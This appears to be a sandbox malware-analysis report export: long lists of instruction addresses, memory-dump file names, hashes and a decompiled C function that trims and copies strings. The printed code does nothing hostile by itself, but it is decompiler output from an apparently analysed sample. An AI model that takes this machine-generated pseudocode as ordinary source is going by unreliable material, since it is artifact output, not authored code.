0x6ed51ab9
0x6ed51abc
0x6ed51abe
0x00000000
0x00000000
0x6ed51ac0
0x6ed51ac4
0x6ed51ac8
0x6ed51ace
0x6ed51aeb
0x6ed51aeb
0x6ed51af0
0x6ed51af0
0x6ed51af4
0x6ed51af4
0x6ed51af6
0x6ed51af9
0x6ed51afd
0x6ed51b01
0x6ed51b05
0x6ed51b09
0x6ed51b0c
0x6ed51b0f
0x6ed51b15
0x6ed51b18
0x6ed51b1b
0x6ed51b21
0x6ed51b24
0x6ed51b27
0x6ed51b29
0x00000000
0x00000000
0x6ed51b35
0x6ed51b37
0x6ed51b40
0x6ed51b40
0x6ed51b44
0x6ed51b46
0x00000000
0x00000000
0x6ed51b4c
0x6ed51b4c
0x6ed51b4e
0x6ed51bb1
0x6ed51bb1
0x6ed51bb4
0x6ed51bc8
0x6ed51bd4
0x6ed51bd4
0x6ed51bda
0x6ed51bda
0x6ed51bdf
0x6ed51be3
0x6ed51be7
0x6ed51be9
0x00000000
0x00000000
0x6ed51bef
0x6ed51bf2
0x6ed51bf4
0x00000000
0x00000000
0x6ed51bf6
0x6ed51bfc
0x6ed51c0d
0x6ed51c0d
0x6ed51c12
0x6ed51c17
0x6ed51c19
0x6ed51c1b
0x6ed51c1d
0x6ed51c23
0x6ed51c23
0x6ed51c25
0x6ed51c25
0x6ed51c2c
0x6ed51c2e
0x6ed51c31
0x6ed51c31
0x6ed51c33
0x6ed51c37
0x6ed51d7b
0x6ed51d7b
0x6ed51d82
0x6ed51d84
0x6ed51d8a
0x6ed51d8c
0x6ed51d8e
0x6ed51dc8
0x00000000
0x6ed51dc8
0x6ed51d90
0x6ed51d92
0x6ed51db8
0x6ed51db8
0x6ed51dba
0x6ed51dbb
0x6ed51dc0
0x00000000
0x6ed51dc0
0x6ed51d94
0x6ed51d97
0x6ed51d99
0x6ed51d9b
0x00000000
0x00000000
0x6ed51d9d
0x6ed51d9d
0x6ed51d9f
0x6ed51d9f
0x6ed51da0
0x6ed51da5
0x6ed51da9
0x6ed51dab
0x00000000
0x00000000
0x6ed51dad
0x6ed51db1
0x6ed51db4
0x6ed51db6
0x00000000
0x00000000
0x00000000
0x6ed51db6
0x00000000
0x6ed51d9f
0x6ed51c3d
0x6ed51c41
0x00000000
0x00000000
0x6ed51c47
0x6ed51c49
0x6ed51cb0
0x6ed51cb5
0x6ed51cb5
0x6ed51cb8
0x6ed51cbb
0x6ed51cbe
0x6ed51cc0
0x6ed51cd6
0x6ed51cd9
0x6ed51cd9
0x6ed51cdf
0x6ed51ce7
0x6ed51ce7
0x6ed51ce7
0x6ed51cea
0x6ed51cf4
0x6ed51cf7
0x6ed51cfa
0x6ed51d00
0x6ed51d02
0x6ed51d08
0x6ed51d0a
0x6ed51d0c
0x6ed51d43
0x00000000
0x6ed51d0e
0x6ed51d0e
0x6ed51d10
0x6ed51d36
0x6ed51d36
0x6ed51d38
0x6ed51d39
0x6ed51d3e
0x6ed51d46
0x6ed51d46
0x6ed51d4c
0x6ed51d4f
0x6ed51d51
0x6ed51d51
0x6ed51d53
0x00000000
0x00000000
0x6ed51d59
0x6ed51d5d
0x6ed51d63
0x6ed51d63
0x6ed51d66
0x6ed51d67
0x6ed51d69
0x6ed51d6b
0x00000000
0x00000000
0x6ed51d6d
0x6ed51d6f
0x6ed51dd0
0x00000000
0x6ed51dd0
0x6ed51d71
0x6ed51d71
0x6ed51d73
0x00000000
0x00000000
0x6ed51d61
0x6ed51d62
0x6ed51d62
0x6ed51d62
0x6ed51d63
0x6ed51d12
0x6ed51d15
0x6ed51d17
0x6ed51d19
0x00000000
0x00000000
0x6ed51d1b
0x6ed51d1b
0x6ed51d1d
0x6ed51d1d
0x6ed51d1e
0x6ed51d23
0x6ed51d27
0x6ed51d29
0x00000000
0x00000000
0x6ed51d2b
0x6ed51d2f
0x6ed51d32
0x6ed51d34
0x00000000
0x00000000
0x00000000
0x6ed51d34
0x00000000
0x6ed51d1d
0x6ed51d0c
0x6ed51cc2
0x00000000
0x6ed51cc2
0x6ed51c4b
0x6ed51c4f
0x6ed51c4f
0x6ed51c52
0x6ed51c66
0x6ed51c72
0x6ed51c72
0x6ed51c78
0x6ed51c78
0x6ed51c7d
0x6ed51c81
0x6ed51c85
0x6ed51c87
0x00000000
0x00000000
0x6ed51c8d
0x6ed51c90
0x6ed51c92
0x00000000
0x00000000
0x6ed51c94
0x6ed51c9a
0x6ed51cab
0x6ed51cab
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed51c9c
0x6ed51c9c
0x6ed51c9c
0x6ed51ca0
0x00000000
0x00000000
0x6ed51ca2
0x6ed51ca3
0x6ed51ca9
0x00000000
0x00000000
0x00000000
0x6ed51ca9
0x00000000
0x6ed51c9c
0x6ed51dd9
0x6ed51ddc
0x00000000
0x6ed51ddc
0x6ed51c56
0x6ed51c58
0x6ed51c58
0x6ed51c5b
0x6ed51c5b
0x6ed51c5f
0x00000000
0x00000000
0x6ed51c61
0x6ed51c62
0x6ed51c64
0x00000000
0x00000000
0x00000000
0x6ed51c64
0x00000000
0x6ed51c5b
0x6ed51c1f
0x6ed51c21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed51bfe
0x6ed51bfe
0x6ed51bfe
0x6ed51c02
0x00000000
0x00000000
0x6ed51c04
0x6ed51c05
0x6ed51c0b
0x00000000
0x00000000
0x00000000
0x6ed51c0b
0x00000000
0x6ed51bfe
0x6ed51de3
0x6ed51de6
0x00000000
0x6ed51de6
0x6ed51bb8
0x6ed51bba
0x6ed51bba
0x6ed51bbd
0x6ed51bbd
0x6ed51bc1
0x00000000
0x00000000
0x6ed51bc3
0x6ed51bc4
0x6ed51bc6
0x00000000
0x00000000
0x00000000
0x6ed51bc6
0x00000000
0x6ed51bbd
0x6ed51b50
0x6ed51b55
0x6ed51b57
0x6ed51b59
0x6ed51b61
0x6ed51b63
0x6ed51b69
0x6ed51b6b
0x6ed51b6d
0x6ed51ba7
0x00000000
0x6ed51ba7
0x6ed51b6f
0x6ed51b71
0x6ed51b97
0x6ed51b97
0x6ed51b99
0x6ed51b9a
0x6ed51b9f
0x00000000
0x6ed51b9f
0x6ed51b73
0x6ed51b76
0x6ed51b78
0x6ed51b7a
0x00000000
0x00000000
0x6ed51b7c
0x6ed51b7c
0x6ed51b7e
0x6ed51b7e
0x6ed51b7f
0x6ed51b84
0x6ed51b88
0x6ed51b8a
0x00000000
0x00000000
0x6ed51b8c
0x6ed51b90
0x6ed51b93
0x6ed51b95
0x00000000
0x00000000
0x00000000
0x6ed51b95
0x00000000
0x6ed51b7e
0x6ed51b39
0x6ed51b3a
0x6ed51b3e
0x00000000
0x00000000
0x00000000
0x6ed51b3e
0x6ed51ded
0x6ed51df0
0x6ed51df6
0x6ed51df6
0x6ed51df7
0x00000000
0x00000000
0x6ed51dfd
0x6ed51e06
0x6ed51e0b
0x6ed51e0e
0x6ed51e12
0x00000000
0x00000000
0x6ed51e18
0x6ed51e1b
0x6ed51e1f
0x6ed51e1f
0x6ed51e20
0x6ed51e21
0x6ed51e2b
0x6ed51e31
0x6ed51e34
0x6ed51e36
0x00000000
0x00000000
0x6ed51e38
0x6ed51e3b
0x00000000
0x00000000
0x00000000
0x6ed51e3d
0x00000000
0x6ed51e1f
0x6ed51ad0
0x6ed51ad4
0x6ed51ad4
0x6ed51ad8
0x00000000
0x00000000
0x6ed51ade
0x6ed51adf
0x6ed51ae5
0x00000000
0x00000000
0x6ed51ae7
0x00000000
0x6ed51ae7
0x6ed51e42
0x6ed51e42
0x6ed51e46
0x6ed51e46
0x6ed51e48
0x00000000
0x00000000
0x6ed51e4e
0x00000000
0x00000000
0x00000000
0x6ed51e54
0x6ed51e59
0x6ed51e5c
0x6ed51e60
0x6ed51e62
0x00000000
0x6ed51e62
0x6ed51a6f
0x6ed51a73
0x6ed51a75
0x6ed51a75
0x6ed51a77
0x6ed51a77
0x6ed51a7b
0x00000000
0x00000000
0x6ed51a81
0x6ed51a82
0x6ed51a84
0x00000000
0x00000000
0x6ed51a86
0x00000000
0x6ed51a86
0x00000000
0x6ed51e68
0x6ed51e68
0x6ed51e6b
0x6ed51e6f
0x6ed51e6f
0x00000000
0x6ed51e77
0x00000000
0x6ed518fe
0x6ed51887
0x6ed5188a
0x6ed5188c
0x6ed5188e
0x00000000
0x00000000
0x6ed51890
0x6ed51894
0x6ed51894
0x6ed51896
0x6ed5189a
0x6ed5189d
0x6ed5189d
0x6ed5189e
0x6ed518a3
0x6ed518a7
0x6ed518a9
0x00000000
0x00000000
0x6ed518ab
0x6ed518af
0x6ed518b2
0x6ed518b4
0x00000000
0x00000000
0x00000000
0x6ed518b4
0x6ed518b6
0x6ed518ba
0x6ed518be
0x00000000
0x6ed518be
0x6ed51881
0x6ed5183f
0x00000000
0x6ed5183f
0x6ed517bb
0x6ed517bb
0x6ed517be
0x6ed517d6
0x6ed517da
0x6ed517e6
0x6ed517e6
0x6ed517ec
0x6ed517ec
0x6ed517f1
0x6ed517f5
0x6ed517f9
0x6ed517fb
0x00000000
0x00000000
0x6ed51801
0x6ed51804
0x6ed51806
0x00000000
0x00000000
0x6ed51808
0x6ed5180e
0x6ed51823
0x6ed51823
0x6ed51828
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed51810
0x6ed51810
0x6ed51810
0x6ed51814
0x00000000
0x00000000
0x6ed5181a
0x6ed5181b
0x6ed51821
0x00000000
0x00000000
0x00000000
0x6ed51821
0x6ed51e7c
0x6ed51e7c
0x6ed51e7f
0x6ed51e8d
0x6ed51e81
0x6ed51e81
0x6ed51e84
0x6ed51e84
0x00000000
0x6ed51e7f
0x6ed51e97
0x6ed51e9a
0x00000000
0x6ed51e9a
0x6ed517c2
0x6ed517c4
0x6ed517c4
0x6ed517c7
0x6ed517c7
0x6ed517cb
0x00000000
0x00000000
0x6ed517d1
0x6ed517d2
0x6ed517d4
0x00000000
0x00000000
0x00000000
0x6ed517d4
0x00000000
0x6ed517c7
0x6ed517a8
0x00000000
0x6ed517a8
0x6ed5175e
0x6ed51784
0x6ed51784
0x6ed51786
0x6ed51787
0x6ed5178c
0x00000000
0x6ed5178c
0x6ed51760
0x6ed51763
0x6ed51767
0x00000000
0x00000000
0x6ed51769
0x6ed5176b
0x6ed5176b
0x6ed5176c
0x6ed51771
0x6ed51777
0x00000000
0x00000000
0x6ed51779
0x6ed5177d
0x6ed51782
0x00000000
0x00000000
0x00000000
0x6ed51782
0x00000000

Strings

@, xrefs: 6ED51798

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction ID: 3b79b76f01e40c0b43513c58298149fff3937f16d0639f18f4b9632457c7b57d
Opcode Fuzzy Hash: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction Fuzzy Hash: 4F322B74A08B93CBDF118FA8849032A7BE26FC6310F1886ADD8E54F355DA75C569C742

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6ED54CA0(signed int* __ecx, intOrPtr* _a4) {
				char _v28;
				unsigned int _v32;
				void* _v36;
				unsigned int _t70;
				char* _t75;
				signed int _t78;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				intOrPtr* _t90;
				signed int _t92;
				void* _t98;
				void* _t99;
				signed int _t101;
				char _t102;
				char _t103;
				char _t104;
				signed int _t106;
				signed int _t107;
				signed int _t110;
				char* _t111;
				void* _t112;
				signed int _t115;
				char _t116;
				char _t117;
				char _t118;
				char _t119;
				char _t120;
				void* _t122;
				char* _t123;
				char _t133;
				char _t134;
				char _t136;
				char _t137;
				char* _t139;
				void* _t140;
				signed int _t142;
				char _t146;
				signed int _t148;
				signed int _t154;
				unsigned int _t155;
				char _t157;
				char _t158;
				char* _t161;
				char* _t162;
				intOrPtr* _t169;
				unsigned int _t170;
				void* _t171;
				signed int _t172;
				void* _t174;

				_t174 = (_t172 & 0xfffffff0) - 0x14;
				_t70 =  *0x6ed6a24c; // 0xa0d0920
				_t119 =  *0x6ed6a250; // 0x0
				_v32 = _t70;
				_v28 = _t119;
				_t101 =  *__ecx;
				if(_t101 == 0) {
					_t120 = 0;
					_t88 = 0;
				} else {
					_t142 = _t101 & 0x0000000f;
					if(_t142 == 0) {
						L5:
						asm("pxor xmm0, xmm0");
						_t98 =  ~( ~_t142 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [ecx+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb eax, xmm1");
							if(_t70 != 0) {
								break;
							}
							_t142 = _t142 + 0x10;
							if(_t142 < _t98) {
								continue;
							} else {
								if(_t98 >= 0x7fffffff) {
									L11:
									_t88 = 0x7fffffff;
									goto L12;
								} else {
									while( *((char*)(_t98 + _t101)) != 0) {
										_t98 = _t98 + 1;
										if(_t98 < 0x7fffffff) {
											continue;
										} else {
											goto L11;
										}
										goto L18;
									}
									goto L102;
								}
							}
							goto L18;
						}
						asm("bsf ebx, eax");
						_t88 = _t98 + _t142;
						goto L102;
					} else {
						_t88 = 0;
						_t142 =  ~_t142 + 0x10;
						while( *((char*)(_t88 + _t101)) != 0) {
							_t88 = _t88 + 1;
							if(_t88 < _t142) {
								continue;
							} else {
								goto L5;
							}
							goto L18;
						}
						L102:
						if(_t88 > 0) {
							L12:
							_t120 = 0;
							_t155 = _v32;
							_t171 = 0;
							_v36 = _t88;
							while(_t155 != 0) {
								_t86 =  *((intOrPtr*)(_t120 + _t101));
								_t99 = 0;
								while(_t86 !=  *((intOrPtr*)(_t174 + _t99 + 4))) {
									_t99 = _t99 + 1;
									if( *((char*)(_t174 + _t99 + 4)) != 0) {
										continue;
									}
									goto L17;
								}
								_t171 = _t171 + 1;
								_t120 = _t120 + 1;
								if(_t171 < _v36) {
									continue;
								} else {
									break;
								}
								L106:
							}
							L17:
							_t88 = _v36;
						} else {
							_t120 = 0;
						}
						goto L18;
						L93:
						return _t90;
						goto L106;
					}
				}
				L18:
				_t89 = _t88 - 1;
				_t146 = _t88 - _t120;
				if(_t89 >= _t120) {
					_t170 = _v32;
					_v36 = _t120;
					while(_t170 != 0) {
						_t85 =  *((intOrPtr*)(_t89 + _t101));
						_t140 = 0;
						while(_t85 !=  *((intOrPtr*)(_t174 + _t140 + 4))) {
							_t140 = _t140 + 1;
							if( *((char*)(_t174 + _t140 + 4)) != 0) {
								continue;
							}
							goto L24;
						}
						_t89 = _t89 - 1;
						_t146 = _t146 - 1;
						if(_t89 >= _v36) {
							continue;
						} else {
							break;
						}
						goto L93;
					}
					L24:
					_t120 = _v36;
				}
				_t90 = _a4;
				if(_t146 != 0) {
					if(_t101 == 0) {
						_t157 = 0;
					} else {
						_t81 = _t101 & 0x0000000f;
						if(_t81 == 0) {
							L39:
							asm("pxor xmm0, xmm0");
							_t157 =  ~( ~_t81 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [ecx+eax]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ebx, xmm1");
								if(_t90 != 0) {
									break;
								}
								_t81 = _t81 + 0x10;
								if(_t81 < _t157) {
									continue;
								} else {
									_t90 = _a4;
									if(_t157 >= 0x7fffffff) {
										L45:
										_t157 = 0x7fffffff;
									} else {
										while( *((char*)(_t157 + _t101)) != 0) {
											_t157 = _t157 + 1;
											if(_t157 < 0x7fffffff) {
												continue;
											} else {
												goto L45;
											}
											goto L46;
										}
									}
								}
								goto L46;
							}
							_t169 = _t90;
							asm("bsf esi, esi");
							_t90 = _a4;
							_t157 = _t169 + _t81;
						} else {
							_t157 = 0;
							_t81 =  ~_t81 + 0x10;
							while( *((char*)(_t157 + _t101)) != 0) {
								_t157 = _t157 + 1;
								if(_t157 < _t81) {
									continue;
								} else {
									goto L39;
								}
								goto L46;
							}
						}
					}
					L46:
					_t121 =  <=  ? 0 : _t120;
					_t122 =  <  ? _t157 :  <=  ? 0 : _t120;
					_t158 = _t157 - _t122;
					if(_t146 < 0 || _t146 > _t158) {
						_t146 = _t158;
					}
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t161 = _t122 + _t101;
					if(_t161 == 0 ||  *(_t101 + _t122) == 0) {
						_push(0x40);
						_t162 = E6ED41030();
						_t174 = _t174 + 4;
						_t123 =  *_t90;
						if(_t123 == 0) {
							 *_t162 = 0;
						} else {
							if(_t162 != 0) {
								_t102 =  *_t123;
								 *_t162 = _t102;
								if(_t102 != 0) {
									_t148 = 0;
									while(1) {
										_t148 = _t148 + 1;
										_t103 =  *((char*)(_t123 + _t148 * 2 - 1));
										 *((char*)(_t162 + _t148 * 2 - 1)) = _t103;
										if(_t103 == 0) {
											goto L90;
										}
										_t104 =  *((char*)(_t123 + _t148 * 2));
										 *((char*)(_t162 + _t148 * 2)) = _t104;
										if(_t104 != 0) {
											continue;
										}
										goto L90;
									}
								}
							}
							L90:
							_push(1);
							_push(_t123);
							E6ED410B0();
							_t174 = _t174 + 8;
						}
						goto L92;
					} else {
						if(_t146 == 0) {
							_t115 = _t101 + _t122;
							_t78 = _t115 & 0x0000000f;
							if(_t78 == 0) {
								L56:
								asm("pxor xmm0, xmm0");
								_t146 =  ~( ~_t78 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								while(1) {
									asm("movdqu xmm1, [ecx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb edx, xmm1");
									if(_t122 != 0) {
										break;
									}
									_t78 = _t78 + 0x10;
									if(_t78 < _t146) {
										continue;
									} else {
										if(_t146 >= 0x7fffffff) {
											L62:
											_t146 = 0x7fffffff;
										} else {
											while( *((char*)(_t146 + _t115)) != 0) {
												_t146 = _t146 + 1;
												if(_t146 < 0x7fffffff) {
													continue;
												} else {
													goto L62;
												}
												goto L63;
											}
										}
									}
									goto L63;
								}
								asm("bsf edi, edx");
								_t146 = _t146 + _t78;
							} else {
								_t146 = 0;
								_t78 =  ~_t78 + 0x10;
								while( *((char*)(_t146 + _t115)) != 0) {
									_t146 = _t146 + 1;
									if(_t146 < _t78) {
										continue;
									} else {
										goto L56;
									}
									goto L63;
								}
							}
						}
						L63:
						_t36 = _t146 + 1; // 0x80000000
						_t106 =  <=  ? 0x40 : _t36;
						if(_t106 > 0) {
							_v32 = (_t106 >> 5 >> 0x1a) + _t106 >> 6;
							_t107 = _t106 & 0x8000003f;
							if(_t107 < 0) {
								_t107 = (_t107 - 0x00000001 | 0xffffffc0) + 1;
							}
							_t110 = _v32 + (0 | _t107 > 0x00000000) << 6;
							_v32 = _t110;
							_push(_t110);
							_t75 = E6ED41030();
							_t174 = _t174 + 4;
							_t111 =  *_t90;
							if(_t111 == 0) {
								 *_t75 = 0;
							} else {
								if(_t75 != 0) {
									_t134 =  *_t111;
									 *_t75 = _t134;
									if(_t134 != 0) {
										_v36 = _t161;
										_t92 = 0;
										while(1) {
											_t92 = _t92 + 1;
											_t136 =  *((char*)(_t111 + _t92 * 2 - 1));
											 *((char*)(_t75 + _t92 * 2 - 1)) = _t136;
											if(_t136 == 0) {
												break;
											}
											_t137 =  *((char*)(_t111 + _t92 * 2));
											 *((char*)(_t75 + _t92 * 2)) = _t137;
											if(_t137 != 0) {
												continue;
											}
											break;
										}
										_t161 = _v36;
										_t90 = _a4;
									}
								}
								_push(1);
								_push(_t111);
								_v36 = _t75;
								E6ED410B0();
								_t75 = _v36;
								_t174 = _t174 + 8;
							}
							 *(_t90 + 4) = _v32;
							 *_t90 = _t75;
						} else {
							_t75 = 0;
						}
						if(_t75 != 0) {
							_t112 = 0;
							while(1) {
								_t133 =  *_t161;
								_t112 = _t112 + 1;
								 *_t75 = _t133;
								if(_t146 != 0 && _t112 == _t146) {
									break;
								}
								if(_t133 != 0) {
									_t75 = _t75 + 1;
									_t161 = _t161 + 1;
									continue;
								}
								goto L93;
							}
							 *((char*)(_t75 + 1)) = 0;
						}
					}
				} else {
					_push(0x40);
					 *_t90 = 0;
					 *(_t90 + 4) = 0;
					_t162 = E6ED41030();
					_t174 = _t174 + 4;
					_t139 =  *_t90;
					if(_t139 == 0) {
						 *_t162 = 0;
					} else {
						if(_t162 != 0) {
							_t116 =  *_t139;
							 *_t162 = _t116;
							if(_t116 != 0) {
								_t154 = 0;
								while(1) {
									_t154 = _t154 + 1;
									_t117 =  *((char*)(_t139 + _t154 * 2 - 1));
									 *((char*)(_t162 + _t154 * 2 - 1)) = _t117;
									if(_t117 == 0) {
										goto L32;
									}
									_t118 =  *((char*)(_t139 + _t154 * 2));
									 *((char*)(_t162 + _t154 * 2)) = _t118;
									if(_t118 != 0) {
										continue;
									}
									goto L32;
								}
							}
						}
						L32:
						_push(1);
						_push(_t139);
						E6ED410B0();
						_t174 = _t174 + 8;
					}
					L92:
					 *(_t90 + 4) = 0x40;
					 *_t90 = _t162;
				}
				goto L93;
			}

0x6ed54ca9
0x6ed54cac
0x6ed54cb1
0x6ed54cb7
0x6ed54cbb
0x6ed54cbf
0x6ed54cc3
0x6ed5508e
0x6ed55090
0x6ed54cc9
0x6ed54ccb
0x6ed54cce
0x6ed54ce6
0x6ed54cea
0x6ed54cf6
0x6ed54cfc
0x6ed54cfc
0x6ed54d01
0x6ed54d05
0x6ed54d0b
0x00000000
0x00000000
0x6ed54d11
0x6ed54d16
0x00000000
0x6ed54d18
0x6ed54d1e
0x6ed54d33
0x6ed54d33
0x00000000
0x6ed54d20
0x6ed54d20
0x6ed54d2a
0x6ed54d31
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54d31
0x00000000
0x6ed54d20
0x6ed54d1e
0x00000000
0x6ed54d16
0x6ed55087
0x6ed5508a
0x00000000
0x6ed54cd0
0x6ed54cd2
0x6ed54cd4
0x6ed54cd7
0x6ed54ce1
0x6ed54ce4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54ce4
0x6ed55078
0x6ed5507a
0x6ed54d38
0x6ed54d38
0x6ed54d3a
0x6ed54d3f
0x6ed54d41
0x6ed54d44
0x6ed54d48
0x6ed54d4b
0x6ed54d4d
0x6ed54d57
0x6ed54d5d
0x00000000
0x00000000
0x00000000
0x6ed54d5d
0x6ed55068
0x6ed55069
0x6ed5506d
0x00000000
0x6ed55073
0x00000000
0x6ed55073
0x00000000
0x6ed5506d
0x6ed54d5f
0x6ed54d5f
0x6ed55080
0x6ed55080
0x6ed55080
0x00000000
0x6ed55024
0x6ed5502f
0x00000000
0x6ed5502f
0x6ed54cce
0x6ed54d62
0x6ed54d64
0x6ed54d65
0x6ed54d69
0x6ed54d6b
0x6ed54d70
0x6ed54d73
0x6ed54d77
0x6ed54d7a
0x6ed54d7c
0x6ed54d86
0x6ed54d8c
0x00000000
0x00000000
0x00000000
0x6ed54d8c
0x6ed55058
0x6ed55059
0x6ed5505d
0x00000000
0x6ed55063
0x00000000
0x6ed55063
0x00000000
0x6ed5505d
0x6ed54d8e
0x6ed54d8e
0x6ed54d8e
0x6ed54d91
0x6ed54d96
0x6ed54df3
0x6ed55051
0x6ed54df9
0x6ed54dfb
0x6ed54dfe
0x6ed54e12
0x6ed54e16
0x6ed54e22
0x6ed54e28
0x6ed54e28
0x6ed54e2d
0x6ed54e31
0x6ed54e37
0x00000000
0x00000000
0x6ed54e3d
0x6ed54e42
0x00000000
0x6ed54e44
0x6ed54e44
0x6ed54e4d
0x6ed54e5e
0x6ed54e5e
0x00000000
0x6ed54e4f
0x6ed54e55
0x6ed54e5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54e5c
0x6ed54e4f
0x6ed54e4d
0x00000000
0x6ed54e42
0x6ed55042
0x6ed55044
0x6ed55047
0x6ed5504a
0x6ed54e00
0x6ed54e02
0x6ed54e04
0x6ed54e07
0x6ed54e0d
0x6ed54e10
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54e10
0x6ed54e07
0x6ed54dfe
0x6ed54e63
0x6ed54e67
0x6ed54e6c
0x6ed54e6f
0x6ed54e73
0x6ed54e79
0x6ed54e79
0x6ed54e7d
0x6ed54e7f
0x6ed54e84
0x6ed54e86
0x6ed54fd1
0x6ed54fd8
0x6ed54fda
0x6ed54fdd
0x6ed54fe1
0x6ed55018
0x6ed54fe3
0x6ed54fe5
0x6ed54fe7
0x6ed54fea
0x6ed54fee
0x6ed54ff0
0x6ed54ff2
0x6ed54ff2
0x6ed54ff3
0x6ed54ff8
0x6ed54ffe
0x00000000
0x00000000
0x6ed55000
0x6ed55004
0x6ed55009
0x00000000
0x00000000
0x00000000
0x6ed55009
0x6ed54ff2
0x6ed54fee
0x6ed5500b
0x6ed5500b
0x6ed5500d
0x6ed5500e
0x6ed55013
0x6ed55013
0x00000000
0x6ed54e96
0x6ed54e98
0x6ed54e9a
0x6ed54e9e
0x6ed54ea1
0x6ed54eb5
0x6ed54eb9
0x6ed54ec5
0x6ed54ecb
0x6ed54ecb
0x6ed54ed0
0x6ed54ed4
0x6ed54eda
0x00000000
0x00000000
0x6ed54ee0
0x6ed54ee5
0x00000000
0x6ed54ee7
0x6ed54eed
0x6ed54efe
0x6ed54efe
0x00000000
0x6ed54eef
0x6ed54ef5
0x6ed54efc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54efc
0x6ed54eef
0x6ed54eed
0x00000000
0x6ed54ee5
0x6ed55038
0x6ed5503b
0x6ed54ea3
0x6ed54ea5
0x6ed54ea7
0x6ed54eaa
0x6ed54eb0
0x6ed54eb3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed54eb3
0x6ed54eaa
0x6ed54ea1
0x6ed54f03
0x6ed54f08
0x6ed54f0e
0x6ed54f13
0x6ed54f29
0x6ed54f2d
0x6ed54f33
0x6ed54f3b
0x6ed54f3b
0x6ed54f49
0x6ed54f4c
0x6ed54f50
0x6ed54f51
0x6ed54f56
0x6ed54f59
0x6ed54f5d
0x6ed54fa7
0x6ed54f5f
0x6ed54f61
0x6ed54f63
0x6ed54f66
0x6ed54f6a
0x6ed54f6e
0x6ed54f71
0x6ed54f73
0x6ed54f73
0x6ed54f74
0x6ed54f79
0x6ed54f7f
0x00000000
0x00000000
0x6ed54f81
0x6ed54f85
0x6ed54f8a
0x00000000
0x00000000
0x00000000
0x6ed54f8a
0x6ed54f8c
0x6ed54f8f
0x6ed54f8f
0x6ed54f6a
0x6ed54f92
0x6ed54f94
0x6ed54f95
0x6ed54f99
0x6ed54f9e
0x6ed54fa2
0x6ed54fa2
0x6ed54fae
0x6ed54fb1
0x6ed54f15
0x6ed54f15
0x6ed54f15
0x6ed54fb5
0x6ed54fb7
0x6ed54fbd
0x6ed54fbd
0x6ed54fc0
0x6ed54fc1
0x6ed54fc5
0x00000000
0x00000000
0x6ed54fcd
0x6ed54fbb
0x6ed54fbc
0x00000000
0x6ed54fbc
0x00000000
0x6ed54fcd
0x6ed55032
0x6ed55032
0x6ed54fb5
0x6ed54d98
0x6ed54d9a
0x6ed54d9c
0x6ed54d9e
0x6ed54da6
0x6ed54da8
0x6ed54dab
0x6ed54daf
0x6ed54de9
0x6ed54db1
0x6ed54db3
0x6ed54db5
0x6ed54db8
0x6ed54dbc
0x6ed54dbe
0x6ed54dc0
0x6ed54dc0
0x6ed54dc1
0x6ed54dc6
0x6ed54dcc
0x00000000
0x00000000
0x6ed54dce
0x6ed54dd2
0x6ed54dd7
0x00000000
0x00000000
0x00000000
0x6ed54dd7
0x6ed54dc0
0x6ed54dbc
0x6ed54dd9
0x6ed54dd9
0x6ed54ddb
0x6ed54ddc
0x6ed54de1
0x6ed54de1
0x6ed5501b
0x6ed5501b
0x6ed55022
0x6ed55022
0x00000000

Strings

, xrefs: 6ED54CAC

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: 68901e8f973ef6f33643eb01f216e6d2628f45b4746abee30d1c58c85e3b86f6
Instruction ID: 697dbbfef37999d7697cd0bd53a428c4d9a949a1b194d695c470040247ad30bf
Opcode Fuzzy Hash: 68901e8f973ef6f33643eb01f216e6d2628f45b4746abee30d1c58c85e3b86f6
Instruction Fuzzy Hash: 3CB15E759097538AEF164BBD84A032A7A925FC3310F29C76DC8E74B396DA71C4738293

Uniqueness

Uniqueness Score: -1.00%

Function 6ED36AD0, Relevance: .9, Instructions: 932COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
